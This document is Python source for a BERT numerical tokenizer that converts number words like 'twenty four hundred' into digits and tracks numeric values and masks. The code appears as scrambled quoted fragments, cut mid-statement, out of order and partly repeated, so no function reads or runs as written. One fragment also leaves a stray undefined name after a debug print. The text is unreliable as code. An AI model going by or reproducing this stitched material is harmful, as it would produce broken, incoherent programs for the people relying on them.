**do_lower_case**: Whether to", "self._tokenize_chinese_chars(text) orig_tokens = whitespace_tokenize(text) split_tokens = [] for token in", "return tokens class BertNumericalTokenizer(PreTrainedTokenizer): r\"\"\" Constructs a BertTokenizer. :class:`~pytorch_transformers.BertTokenizer` runs", "self.max_input_chars_per_word: output_tokens.append(self.unk_token) numeric_values.append(self.default_value) numeric_mask.append(0) continue is_bad = False start =", "not treated specially and handled # like the all of", ". convert \"digit digitword\" (24 hundred) -> 2400 and return", "the base class level (see :func:`PreTrainedTokenizer.tokenize`) List of token not", "= new_word except ValueError: pass # only modify this word", ":func:`PreTrainedTokenizer.tokenize`) List of token not to split. \"\"\" # digits", "input Only has an effect when do_basic_tokenize=True **do_basic_tokenize**: (`optional`) boolean", "from a piece of text.\"\"\" text = unicodedata.normalize(\"NFD\", text) output", "'fourteen': 14.0, 'fifteen': 15.0, 'sixteen': 16.0, 'seventeen': 17.0, 'eighteen': 18.0,", "'.join(words[i:j])) else: out_sigfigs.append(sigfigs[i]) out_words.append(number) i = j-1 # skip this", "from numbers \"2,000\" -> 2000 and remove endings from ordinal", "elif '-cased' not in pretrained_model_name_or_path and not kwargs.get('do_lower_case', True): logger.warning(\"The", "33 and cp <= 47) or (cp >= 58 and", "in Magnitude_with_hundred: new_words.append(str(float(words_lower[i]) * Magnitude_with_hundred[words_lower[i+1]])) sigs.append(f'{words_lower[i]} {words_lower[i+1]}') i += 1", "be split during tokenization. Only has an effect when do_basic_tokenize=True", "token.lower() token = self._run_strip_accents(token) split_tokens.extend(self._run_split_on_punc(token)) output_tokens = whitespace_tokenize(\" \".join(split_tokens)) return", "remove endings from ordinal numbers for i in range(len(words)): new_word", "tokens class BertNumericalTokenizer(PreTrainedTokenizer): r\"\"\" Constructs a BertTokenizer. :class:`~pytorch_transformers.BertTokenizer` runs end-to-end", "# number_pattern = re.compile(_numbers) class BasicTokenizer(object): \"\"\"Runs basic tokenization (punctuation", "return zip(output_tokens, numeric_values, numeric_mask) def _is_whitespace(char): \"\"\"Checks whether `chars` is", "False cat = unicodedata.category(char) if cat.startswith(\"C\"): return True return False", "the Unicode # Punctuation class but we treat them as", "removal and whitespace cleanup on text.\"\"\" output = [] for", "express or implied. # See the License for the specific", "except in compliance with the License. # You may obtain", "effect when do_wordpiece_only=False \"\"\" vocab_files_names = VOCAB_FILES_NAMES pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP", "str(text2num(words[i:j])) if sigfigs[i] == '': out_sigfigs.append(' '.join(words[i:j])) else: out_sigfigs.append(sigfigs[i]) out_words.append(number)", "digits. :param sent: sentence (str) :return: a list of normalized", "True else: do_split = False else: do_split = False if", "len(output_tokens) == len(numeric_mask) return zip(output_tokens, numeric_values, numeric_mask) def _is_whitespace(char): \"\"\"Checks", "sigs # ​ # def normalize_numbers_in_sent(sent, remove_pos=False, never_split=None): \"\"\" Given", "transformers import PreTrainedTokenizer logger = logging.getLogger(__name__) VOCAB_FILES_NAMES = {'vocab_file': 'vocab.txt'}", "character.\"\"\" cp = ord(char) # We treat all non-letter/number ASCII", "(string) in a single string. \"\"\" out_string = ' '.join(tokens).replace('", "and handled # like the all of the other languages.", "return self.ids_to_tokens.get(index, self.unk_token) def convert_tokens_to_string(self, tokens): \"\"\" Converts a sequence", "if ((cp >= 0x4E00 and cp <= 0x9FFF) or #", "= 0.0 for i, word in enumerate(words): if i ==", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "(see :func:`PreTrainedTokenizer.tokenize`) List of token not to split. **tokenize_chinese_chars**: (`optional`)", "# Copyright 2018 The Google AI Language Team Authors and", "tokenization before wordpiece. **never_split**: (`optional`) list of string List of", "punctuation character.\"\"\" cp = ord(char) # We treat all non-letter/number", "('-', '+'): return s[1:].isdigit() return s.isdigit() def preprocess(sent, remove_pos=False, never_split=None):", "= os.path.join(vocab_path, VOCAB_FILES_NAMES['vocab_file']) with open(vocab_file, \"w\", encoding=\"utf-8\") as writer: for", "\"https://int-deepset-models-bert.s3.eu-central-1.amazonaws.com/pytorch/bert-base-german-cased-vocab.txt\", 'bert-large-uncased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-vocab.txt\", 'bert-large-cased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-vocab.txt\", 'bert-large-uncased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-large-cased-whole-word-masking-finetuned-squad': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-whole-word-masking-finetuned-squad-vocab.txt\", 'bert-base-cased-finetuned-mrpc':", "True elif i == len(chars)-1: do_split = True else: if", "a single string. \"\"\" out_string = ' '.join(tokens).replace(' ##', '').strip()", "-> 24000000000000 (mix of digits and words) new_words = []", "Only has an effect when do_wordpiece_only=False do_basic_tokenize: Whether to do", ">= 123 and cp <= 126)): return True cat =", "17.0, 'eighteen': 18.0, 'nineteen': 19.0, 'twenty': 20.0, 'thirty': 30.0, 'forty':", "output_tokens = whitespace_tokenize(\" \".join(split_tokens)) return output_tokens def _run_strip_accents(self, text): \"\"\"Strips", "self._clean_text(text) # This was added on November 1st, 2018 for", "'fifty': 50.0, 'sixty': 60.0, 'seventy': 70.0, 'eighty': 80.0, 'ninety': 90.0", "CONDITIONS OF ANY KIND, either express or implied. # See", "The Google AI Language Team Authors and The HuggingFace Inc.", "PRETRAINED_VOCAB_FILES_MAP max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES def __init__(self, vocab_file, do_lower_case=True, do_basic_tokenize=True, never_split=None,", "used to write # space-separated words, so they are not", "list of wordpiece tokens. \"\"\" output_tokens = [] numeric_values =", "sequences to; Effective maximum length is always the minimum of", "import logging import os import sys import unicodedata from io", "an effect when do_wordpiece_only=False \"\"\" vocab_files_names = VOCAB_FILES_NAMES pretrained_vocab_files_map =", "# as whitespace since they are generally considered as such.", "sigfigs = preprocess(sent, remove_pos, never_split) out_sigfigs = [] i =", "= [] for char in text: cat = unicodedata.category(char) if", "if i == 0: do_split = True elif i ==", "token_index in sorted(self.vocab.items(), key=lambda kv: kv[1]): if index != token_index:", "\"\".join(output) class WordpieceTokenizer(object): \"\"\"Runs WordPiece tokenization.\"\"\" def __init__(self, vocab, unk_token,", "= j-1 # skip this sequence since we replaced it", "0.0 for i, word in enumerate(words): if i == 0:", "[] numeric_masks = [] split_sigfigs = [] i = 0", "kv: kv[1]): if index != token_index: logger.warning(\"Saving vocabulary to {}:", "break except NumberException: if j == i+1: out_sigfigs.append('-1') out_words.append(words[i]) i", "number of sorts\") elif i != 0: magnitude = Magnitude.get(word,", "# (cp >= 0x2B740 and cp <= 0x2B81F) or #", "it with a number break except NumberException: if j ==", "= collections.OrderedDict( [(ids, tok) for tok, ids in self.vocab.items()]) self.do_basic_tokenize", "self.default_value: split_sigfigs.append(sigfig) else: split_sigfigs.append('-1') if numeric_value != self.default_value and sub_token", "consecutive.\" \" Please check that the vocabulary is not corrupted!\".format(vocab_file))", "(cp >= 58 and cp <= 64) or (cp >=", "string. \"\"\" out_string = ' '.join(tokens).replace(' ##', '').strip() return out_string", "512, 'bert-base-multilingual-uncased': 512, 'bert-base-multilingual-cased': 512, 'bert-base-chinese': 512, 'bert-base-german-cased': 512, 'bert-large-uncased-whole-word-masking':", "token not to split. \"\"\" # digits = '0123456789' #", "== \"Zs\": return True return False def _is_control(char): \"\"\"Checks whether", "if words_lower[i] == 'a' and words_lower[i+1] in Magnitude_with_hundred: words[i] =", "\"\"\"Checks whether `chars` is a whitespace character.\"\"\" # \\t, \\n,", "\"24 {Magnitude}\" -> 24000000000000 (mix of digits and words) new_words", "a list of normalized words from the sentence \"\"\" out_words", "contorl characters but we treat them # as whitespace since", "# _numbers = '[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?' # fraction_pattern = re.compile(_fraction) # number_pattern", "count them as whitespace # characters. if char == \"\\t\"", "= [] sigs = [] i = 0 while i", "whether CP is the codepoint of a CJK character.\"\"\" #", "class WordpieceTokenizer(object): \"\"\"Runs WordPiece tokenization.\"\"\" def __init__(self, vocab, unk_token, unk_num,", "= True else: if start_new_word: output.append([]) start_new_word = False output[-1].append(char)", "'nineteen': 19.0, 'twenty': 20.0, 'thirty': 30.0, 'forty': 40.0, 'fifty': 50.0,", "\"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-uncased-vocab.txt\", 'bert-base-multilingual-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-cased-vocab.txt\", 'bert-base-chinese': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-chinese-vocab.txt\", 'bert-base-german-cased': \"https://int-deepset-models-bert.s3.eu-central-1.amazonaws.com/pytorch/bert-base-german-cased-vocab.txt\", 'bert-large-uncased-whole-word-masking': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-whole-word-masking-vocab.txt\", 'bert-large-cased-whole-word-masking':", "of token not to split. \"\"\" # digits = '0123456789'", "index, token in enumerate(tokens): token = token.rstrip('\\n') vocab[token] = index", "all non-letter/number ASCII as punctuation. # Characters such as \"^\",", "['[UNK_NUM]'] self.ids_to_tokens = collections.OrderedDict( [(ids, tok) for tok, ids in", "for token in whitespace_tokenize(text): chars = list(token) if len(chars) >", "index = token_index writer.write(token + u'\\n') index += 1 return", "True): logger.warning(\"The pre-trained model you are loading is a cased", "class BertNumericalTokenizer(PreTrainedTokenizer): r\"\"\" Constructs a BertTokenizer. :class:`~pytorch_transformers.BertTokenizer` runs end-to-end tokenization:", "does have some Chinese # words in the English Wikipedia.).", "This defines a \"chinese character\" as anything in the CJK", "= do_lower_case self.never_split = never_split def tokenize(self, text, never_split=None): \"\"\"", "False start = 0 sub_tokens = [] while start <", "characters but we treat them # as whitespace since they", "{ 'thousand': 1000.0, 'million': 1000000.0, 'billion': 1000000000.0, 'trillion': 1000000000000.0, 'quadrillion':", "encoding=\"utf-8\") as reader: tokens = reader.readlines() for index, token in", "= text.strip() if not text: return [] tokens = text.split()", "_is_punctuation(char): if i == 0: do_split = True elif i", "u'\\n') index += 1 return (vocab_file,) @classmethod def from_pretrained(cls, pretrained_model_name_or_path,", "15.0, 'sixteen': 16.0, 'seventeen': 17.0, 'eighteen': 18.0, 'nineteen': 19.0, 'twenty':", "it's an int after preprocessing Magnitude_with_hundred = Magnitude.copy() Magnitude_with_hundred['hundred'] =", "True else: if start_new_word: output.append([]) start_new_word = False output[-1].append(char) i", "but we treat them as punctuation anyways, for # consistency.", "if self.tokenize_chinese_chars: text = self._tokenize_chinese_chars(text) orig_tokens = whitespace_tokenize(text) split_tokens =", "file **do_lower_case**: (`optional`) boolean (default True) Whether to lower case", "= normalize_numbers_in_sent(text) output_tokens = whitespace_tokenize(\" \".join(split_tokens)) output_sigfigs = whitespace_tokenize(\" \".join(split_sigfigs))", "end-to-end tokenization: punctuation splitting + wordpiece Args: vocab_file: Path to", "is not None: mantissa = mantissa*magnitude else: # non-number word", "as reader: tokens = reader.readlines() for index, token in enumerate(tokens):", "# return output_tokens, # _numbers = '[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?' # fraction_pattern =", ":return: a list of normalized words from the sentence \"\"\"", "end -= 1 if cur_substr is None: is_bad = True", "= True return super(BertNumericalTokenizer, cls)._from_pretrained(pretrained_model_name_or_path, *inputs, **kwargs) class NumericalTokenizer(object): \"\"\"Runs", "a BertNumericalTokenizer from pre-trained vocabulary files. \"\"\" if pretrained_model_name_or_path in", "casing, etc.).\"\"\" def __init__(self, do_lower_case=True, never_split=None): \"\"\" Constructs a BasicTokenizer.", "\\r are technically contorl characters but we treat them #", "\"\"\"Strips accents from a piece of text.\"\"\" text = unicodedata.normalize(\"NFD\",", "cat == \"Zs\": return True return False def _is_control(char): \"\"\"Checks", "char in text: cat = unicodedata.category(char) if cat == \"Mn\":", "\"\"\"Splits punctuation on a piece of text.\"\"\" if never_split is", "True cat = unicodedata.category(char) if cat == \"Zs\": return True", "= 0 if os.path.isdir(vocab_path): vocab_file = os.path.join(vocab_path, VOCAB_FILES_NAMES['vocab_file']) with open(vocab_file,", "in range(len(words), i, -1): try: number = str(text2num(words[i:j])) if sigfigs[i]", "token = token.lower() token = self._run_strip_accents(token) split_tokens.extend(self._run_split_on_punc(token)) output_tokens = whitespace_tokenize(\"", "in orig_tokens: if self.do_lower_case and token not in never_split: token", "substr if substr in self.vocab and is_number == False: cur_substr", "be split during tokenization. Only has an effect when do_wordpiece_only=False", "sent.strip().split()] else: words = [word for word in sent.strip().split()] tokenizer", "the sentence \"\"\" out_words = [] words, sigfigs = preprocess(sent,", "'eight': 8.0, 'nine': 9.0, 'ten': 10.0, 'eleven': 11.0, 'twelve': 12.0,", "mask_token=mask_token, **kwargs) if not os.path.isfile(vocab_file): raise ValueError( \"Can't find a", "text.\"\"\" text = unicodedata.normalize(\"NFD\", text) output = [] for char", "to lower case the input. Only has an effect when", "self.max_input_chars_per_word = max_input_chars_per_word def tokenize(self, text): \"\"\"Tokenizes a piece of", "data # and generally don't have any Chinese data in", "\"`do_lower_case` to False. We are setting `do_lower_case=True` for you \"", "uncased model but you have set \" \"`do_lower_case` to False.", "\" \"model use `tokenizer = BertNumericalTokenizer.from_pretrained(PRETRAINED_MODEL_NAME)`\".format(vocab_file)) self.vocab = load_vocab(vocab_file) self.unk_num", "\"\\r\": return True cat = unicodedata.category(char) if cat == \"Zs\":", "return out_string def save_vocabulary(self, vocab_path): \"\"\"Save the tokenizer vocabulary to", "[] numeric_values = [] numeric_masks = [] split_sigfigs = []", "to lower case the input. **never_split**: (`optional`) list of str", "123 and cp <= 126)): return True cat = unicodedata.category(char)", "other languages. if ((cp >= 0x4E00 and cp <= 0x9FFF)", "11.0, 'twelve': 12.0, 'thirteen': 13.0, 'fourteen': 14.0, 'fifteen': 15.0, 'sixteen':", "etc.).\"\"\" def __init__(self, do_lower_case=True, never_split=None): \"\"\" Constructs a BasicTokenizer. Args:", "sent.strip().split()] tokenizer = BasicTokenizer(do_lower_case=True, never_split=never_split) words = tokenizer.tokenize(sent) # sent", "but we treat them # as whitespace since they are", "= new_word[:-2] try: if new_word not in ['infinity', 'inf', 'nan']:", "List of token not to split. \"\"\" never_split = self.never_split", "0: if _is_punctuation(char): if i == 0: do_split = True", "import open from transformers import PreTrainedTokenizer logger = logging.getLogger(__name__) VOCAB_FILES_NAMES", "self.tokenize_chinese_chars = tokenize_chinese_chars def tokenize(self, text, never_split=None): \"\"\" Basic Tokenization", "text. Split on \"white spaces\" only, for sub-word tokenization, see", "pretrained_model_name_or_path in PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES: if '-cased' in pretrained_model_name_or_path and kwargs.get('do_lower_case', True):", "\"\"\"Tokenizes a piece of text into its word pieces. This", "wordpiece tokens. \"\"\" output_tokens = [] numeric_values = [] numeric_mask", "raise NumberException(\"Unknown number: \"+word) return mantissa def generate_ngrams(sentence, n): return", "def _run_split_on_punc(self, text, never_split=None): \"\"\"Splits punctuation on a piece of", "characters. if char == \"\\t\" or char == \"\\n\" or", "words) new_words = [] sigs = [] i = 0", "orig_tokens = whitespace_tokenize(text) split_tokens = [] for token in orig_tokens:", "fraction_pattern = re.compile(_fraction) # number_pattern = re.compile(_numbers) class BasicTokenizer(object): \"\"\"Runs", "and text in never_split: return [text] chars = list(text) i", "while start < end: substr = \"\".join(chars[start:end]) if start >", "text: return [] tokens = text.split() return tokens class BertNumericalTokenizer(PreTrainedTokenizer):", "implemented directly at the base class level (see :func:`PreTrainedTokenizer.tokenize`) List", "whitespace_tokenize(text) split_tokens, split_sigfigs = normalize_numbers_in_sent(text) output_tokens = whitespace_tokenize(\" \".join(split_tokens)) output_sigfigs", "'seventy': 70.0, 'eighty': 80.0, 'ninety': 90.0 } Magnitude = {", "vocab, unk_token, unk_num, max_input_chars_per_word=100): self.vocab = vocab self.unk_token = unk_token", "not chars[i-1].isdigit() or _is_punctuation(char) and i == 0: if _is_punctuation(char):", "to a one-wordpiece-per-line vocabulary file do_lower_case: Whether to lower case", "'two': 2.0, 'three': 3.0, 'four': 4.0, 'five': 5.0, 'six': 6.0,", "numeric_value) foohere if get_numeric_masks: return numeric_masks if get_values: return numeric_values", "is before it # if _is_punctuation(char) and not chars[i-1].isdigit() or", "[word.lower() for word in sent] # n = 0 #", "assert len(split_tokens) == len(numeric_values) == len(split_sigfigs) if get_sigfigs: return split_sigfigs", "index = 0 if os.path.isdir(vocab_path): vocab_file = os.path.join(vocab_path, VOCAB_FILES_NAMES['vocab_file']) with", "from pre-trained vocabulary files. \"\"\" if pretrained_model_name_or_path in PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES: if", "char == \"\\r\": return True cat = unicodedata.category(char) if cat", "for # consistency. if ((cp >= 33 and cp <=", "type(sent) is str: words = [word.lower() for word in sent.strip().split()]", "False if do_split: output.append([char]) start_new_word = True else: if start_new_word:", "do_basic_tokenize: self.basic_tokenizer = BasicTokenizer(do_lower_case=do_lower_case, never_split=never_split, tokenize_chinese_chars=tokenize_chinese_chars) self.wordpiece_tokenizer = WordpieceTokenizer(vocab=self.vocab, unk_token=self.unk_token,", "return the sentence's preprocessed list of words that should be", "\"\"\" if remove_pos: words = [word[:word.rfind('_')] for word in sent.strip().split()]", "character.\"\"\" output = [] for char in text: cp =", "example: input = \"unaffable\" output = [\"un\", \"##aff\", \"##able\"] Args:", "on a piece of text.\"\"\" text = text.strip() if not", "to perform tokenization using the given vocabulary. For example: input", "character.\"\"\" # This defines a \"chinese character\" as anything in", "* Magnitude_with_hundred[words_lower[i+1]])) sigs.append(f'{words_lower[i]} {words_lower[i+1]}') i += 1 else: new_words.append(words[i]) sigs.append('')", "x in output] def _tokenize_chinese_chars(self, text): \"\"\"Adds whitespace around any", "in never_split: token = token.lower() token = self._run_strip_accents(token) split_tokens.extend(self._run_split_on_punc(token)) output_tokens", "if i == 0: mantissa = Small.get(word, None) if mantissa", "= [word.lower() for word in words] # remove commas from", "> self.max_input_chars_per_word: output_tokens.append(self.unk_token) numeric_values.append(self.default_value) numeric_mask.append(0) continue is_bad = False start", "= self._run_strip_accents(token) split_tokens.extend(self._run_split_on_punc(token)) output_tokens = whitespace_tokenize(\" \".join(split_tokens)) return output_tokens def", "i += 1 assert len(out_sigfigs) == len(out_words) return out_words, out_sigfigs", "= whitespace_tokenize(\" \".join(split_tokens)) return output_tokens def _run_strip_accents(self, text): \"\"\"Strips accents", "collections.OrderedDict() with open(vocab_file, \"r\", encoding=\"utf-8\") as reader: tokens = reader.readlines()", "[] i = 0 while i < len(words): for j", "if '-cased' in pretrained_model_name_or_path and kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained model", "chars[i] #dont split on periods if number is before it", "hundred) -> 2400 and return the sentence's preprocessed list of", "= 1.0 self.max_input_chars_per_word = max_input_chars_per_word def tokenize(self, text): \"\"\"Tokenizes a", "already been passed through `BasicTokenizer`. Returns: A list of wordpiece", "= [] while i < len(chars): char = chars[i] #dont", "save_vocabulary(self, vocab_path): \"\"\"Save the tokenizer vocabulary to a directory or", "orig_tokens = whitespace_tokenize(text) split_tokens, split_sigfigs = normalize_numbers_in_sent(text) output_tokens = whitespace_tokenize(\"", "try: mantissa = float(word) except ValueError: raise NumberException(\"First must be", "sigs.append('') if i == len(words) - 2: new_words.append(words[i+1]) sigs.append('') i", "vocabulary to a directory or file.\"\"\" index = 0 if", "in the English Wikipedia.). if self.tokenize_chinese_chars: text = self._tokenize_chinese_chars(text) orig_tokens", "[] for token in whitespace_tokenize(text): chars = list(token) if len(chars)", "= Magnitude.get(word, None) if magnitude is not None: mantissa =", "new_words.append(words[i+1]) sigs.append('') i += 1 return new_words, sigs # ​", "to digits. :param sent: sentence (str) :return: a list of", "**do_basic_tokenize**: (`optional`) boolean (default True) Whether to do basic tokenization", "0x2B73F) or # (cp >= 0x2B740 and cp <= 0x2B81F)", "License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by", "char == \"\\t\" or char == \"\\n\" or char ==", "this sequence since we replaced it with a number break", "return False def _is_punctuation(char): \"\"\"Checks whether `chars` is a punctuation", "'-cased' in pretrained_model_name_or_path and kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained model you", "get_numeric_masks: return numeric_masks if get_values: return numeric_values assert len(split_tokens) ==", "split. **tokenize_chinese_chars**: (`optional`) boolean (default True) Whether to tokenize Chinese", "This should likely be deactivated for Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\"", "split during tokenization. Only has an effect when do_wordpiece_only=False \"\"\"", "break end -= 1 if cur_substr is None: is_bad =", "\"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-uncased-vocab.txt\", 'bert-base-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-cased-vocab.txt\", 'bert-large-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-large-cased-vocab.txt\", 'bert-base-multilingual-uncased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-uncased-vocab.txt\", 'bert-base-multilingual-cased': \"https://s3.amazonaws.com/models.huggingface.co/bert/bert-base-multilingual-cased-vocab.txt\", 'bert-base-chinese':", "[] for char in text: cat = unicodedata.category(char) if cat", "text = self._clean_text(text) # This was added on November 1st,", "from io import open from transformers import PreTrainedTokenizer logger =", "max_model_input_sizes = PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES def __init__(self, vocab_file, do_lower_case=True, do_basic_tokenize=True, never_split=None, unk_token=\"[UNK]\",", "a different block, # as is Japanese Hiragana and Katakana.", "never_split: token = token.lower() token = self._run_strip_accents(token) split_tokens.extend(self._run_split_on_punc(token)) output_tokens =", "number is before it # if _is_punctuation(char) and not chars[i-1].isdigit()", "} class NumberException(Exception): def __init__(self, msg): Exception.__init__(self, msg) def text2num(sent):", "token in whitespace_tokenize(text): chars = list(token) if len(chars) > self.max_input_chars_per_word:", "if ((cp >= 33 and cp <= 47) or (cp", "-> 2) . convert \"a {hundred,thousand...}\" to \"one {hundred,thousand,...}\" so", "+ u'\\n') index += 1 return (vocab_file,) @classmethod def from_pretrained(cls,", "or cp == 0xfffd or _is_control(char): continue if _is_whitespace(char): output.append(\"", "= self._clean_text(text) # This was added on November 1st, 2018", "Magnitude_with_hundred[words_lower[i+1]])) sigs.append(f'{words_lower[i]} {words_lower[i+1]}') i += 1 else: new_words.append(words[i]) sigs.append('') if", "0 while i < len(words): for j in range(len(words), i,", "0 # g = 0 mantissa = 0 # number", "Now implemented directly at the base class level (see :func:`PreTrainedTokenizer.tokenize`)", "tokenization. Only has an effect when do_basic_tokenize=True **tokenize_chinese_chars**: (`optional`) boolean", "Version 2.0 (the \"License\"); # you may not use this", "pretrained_model_name_or_path and not kwargs.get('do_lower_case', True): logger.warning(\"The pre-trained model you are", "words = [word.lower() for word in sent] # n =", "convert \"a {hundred,thousand,million,...}\" to \"one {hundred,thousand,million,...}\" for i in range(len(words)-1):", "[] numeric_mask = [] for token in whitespace_tokenize(text): chars =", "generally considered as such. if char == \" \" or", "= str(int_word) words[i] = new_word except ValueError: pass # only", "is None: try: mantissa = float(word) except ValueError: raise NumberException(\"First", "sentence's preprocessed list of words that should be passed into", "Given a sentence, perform preprocessing and normalize number words to", "in sorted(self.vocab.items(), key=lambda kv: kv[1]): if index != token_index: logger.warning(\"Saving", "Those alphabets are used to write # space-separated words, so", "name. The modern Korean Hangul alphabet is a different block,", "\"##\" + substr if substr in self.vocab and is_number ==", "do_wordpiece_only=False \"\"\" vocab_files_names = VOCAB_FILES_NAMES pretrained_vocab_files_map = PRETRAINED_VOCAB_FILES_MAP max_model_input_sizes =", "but we count them as whitespace # characters. if char", "# sent = ' '.join(tokens) words_lower = [word.lower() for word", "output = [] while i < len(chars): char = chars[i]", "do_basic_tokenize=True **do_basic_tokenize**: (`optional`) boolean (default True) Whether to do basic", "numeric_value != self.default_value and sub_token != self.unk_num: print(sub_token, numeric_value) foohere", "70.0, 'eighty': 80.0, 'ninety': 90.0 } Magnitude = { 'thousand':", "commas from numbers \"2,000\" -> 2000 and remove endings from", "__init__(self, vocab_file, do_lower_case=True, do_basic_tokenize=True, never_split=None, unk_token=\"[UNK]\", sep_token=\"[SEP]\", pad_token=\"[PAD]\", cls_token=\"[CLS]\", mask_token=\"[MASK]\",", "else: if not chars[i-1].isdigit(): do_split = True else: do_split =", "# (cp >= 0x3400 and cp <= 0x4DBF) or #", "by applicable law or agreed to in writing, software #", "'octillion': 1000000000000000000000000000.0, 'nonillion': 1000000000000000000000000000000.0, } class NumberException(Exception): def __init__(self, msg):", "in self.wordpiece_tokenizer.tokenize(token): split_tokens.append(sub_token) numeric_values.append(numeric_value) numeric_masks.append(numeric_mask) if numeric_value != self.default_value: split_sigfigs.append(sigfig)", "0x20000 and cp <= 0x2A6DF) or # (cp >= 0x2A700", "range(len(words)): new_word = words_lower[i].replace(',', '') if new_word.endswith(('th', 'rd', 'st', 'nd')):", "mantissa def generate_ngrams(sentence, n): return zip(*[sentence[i:] for i in range(n)])", "it can be handled by text2num function . convert \"digit", "-> 2000) . remove endings from ordinal numbers (2nd ->", "= re.compile(_fraction) # number_pattern = re.compile(_numbers) class BasicTokenizer(object): \"\"\"Runs basic", "\"\"\" if pretrained_model_name_or_path in PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES: if '-cased' in pretrained_model_name_or_path and", "cp <= 0xFAFF) or # (cp >= 0x2F800 and cp", "cur_substr is None: is_bad = True break sub_tokens.append(cur_substr) start =", "cp <= 0x2CEAF) or (cp >= 0xF900 and cp <=", "return numeric_values assert len(split_tokens) == len(numeric_values) == len(split_sigfigs) if get_sigfigs:", "when do_basic_tokenize=True **tokenize_chinese_chars**: (`optional`) boolean (default True) Whether to tokenize", "of token not to split. **tokenize_chinese_chars**: (`optional`) boolean (default True)", "0 mantissa = 0 # number = 0.0 for i,", ":param sent: sentence (str) :return: a list of normalized words", "for token, token_index in sorted(self.vocab.items(), key=lambda kv: kv[1]): if index", "output_tokens.append(self.unk_token) numeric_values.append(self.default_value)#-9e9 numeric_mask.append(0) else: numeric_values.extend([self.default_value]*len(sub_tokens))#-9e9 numeric_mask.extend([0]*len(sub_tokens)) output_tokens.extend(sub_tokens) assert len(numeric_values) ==", "# Characters such as \"^\", \"$\", and \"`\" are not", "[(ids, tok) for tok, ids in self.vocab.items()]) self.do_basic_tokenize = do_basic_tokenize", "= [] numeric_values = [] numeric_mask = [] for token", "!= 0: magnitude = Magnitude.get(word, None) if magnitude is not", "mask_token=\"[MASK]\", tokenize_chinese_chars=True, **kwargs): \"\"\"Constructs a BertNumericalTokenizer. Args: **vocab_file**: Path to", "of tokens which will never be split during tokenization. Only", "text2num(sent): if type(sent) is str: words = [word.lower() for word", "Language Team Authors and The HuggingFace Inc. team. # #", "directory or file.\"\"\" index = 0 if os.path.isdir(vocab_path): vocab_file =", "while i < len(words): for j in range(len(words), i, -1):", "you are loading is an uncased model but you have", "deactivated for Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" if never_split is None:", "a vocabulary file at path '{}'. To load the vocabulary", "== len(numeric_values) == len(split_sigfigs) if get_sigfigs: return split_sigfigs return split_tokens", "= '[0-9]*\\.?[0-9]+([eE][-+]?[0-9]+)?' # fraction_pattern = re.compile(_fraction) # number_pattern = re.compile(_numbers)", "normalize_numbers_in_sent(text) output_tokens = whitespace_tokenize(\" \".join(split_tokens)) output_sigfigs = whitespace_tokenize(\" \".join(split_sigfigs)) return", "new_word.endswith(('th', 'rd', 'st', 'nd')): new_word = new_word[:-2] try: if new_word", "substr = \"##\" + substr if substr in self.vocab and", "is not None else []) text = self._clean_text(text) # This", "0x4DBF) or # (cp >= 0x20000 and cp <= 0x2A6DF)", "!= self.unk_num: print(sub_token, numeric_value) foohere if get_numeric_masks: return numeric_masks if", "def vocab_size(self): return len(self.vocab) def _tokenize(self, text, get_values=False, get_sigfigs=None, get_numeric_masks=None):", "from the sentence \"\"\" out_words = [] words, sigfigs =", "i < len(chars): char = chars[i] #dont split on periods", "the input Only has an effect when do_basic_tokenize=True **do_basic_tokenize**: (`optional`)", "text, never_split=None): \"\"\" Basic Tokenization of a piece of text.", "in range(len(words)): new_word = words_lower[i].replace(',', '') if new_word.endswith(('th', 'rd', 'st',", "not to split. \"\"\" # digits = '0123456789' # punctuation", "for word in sent.strip().split()] tokenizer = BasicTokenizer(do_lower_case=True, never_split=never_split) words =", "always the minimum of this value (if specified) and the", "\"2,000\" -> 2000 and remove endings from ordinal numbers for", "else: do_split = False if do_split: output.append([char]) start_new_word = True", "whether `chars` is a whitespace character.\"\"\" # \\t, \\n, and", "be deactivated for Japanese: see: https://github.com/huggingface/pytorch-pretrained-BERT/issues/328 \"\"\" super(BertNumericalTokenizer, self).__init__(unk_token=unk_token, sep_token=sep_token,", "= max_input_chars_per_word def tokenize(self, text): \"\"\"Tokenizes a piece of text", "substr = \"\".join(chars[start:end]) if start > 0: substr = \"##\"", "to split. **tokenize_chinese_chars**: (`optional`) boolean (default True) Whether to tokenize", "convert \"24 {Magnitude}\" -> 24000000000000 (mix of digits and words)", "applicable law or agreed to in writing, software # distributed", "enumerate(words): if i == 0: mantissa = Small.get(word, None) if", "\"unaffable\" output = [\"un\", \"##aff\", \"##able\"] Args: text: A single", "\"\"\"Runs WordPiece tokenization.\"\"\" def __init__(self, vocab, unk_token, unk_num, max_input_chars_per_word=100): self.vocab", "numeric_value != self.default_value: split_sigfigs.append(sigfig) else: split_sigfigs.append('-1') if numeric_value != self.default_value", "import unicodedata from io import open from transformers import 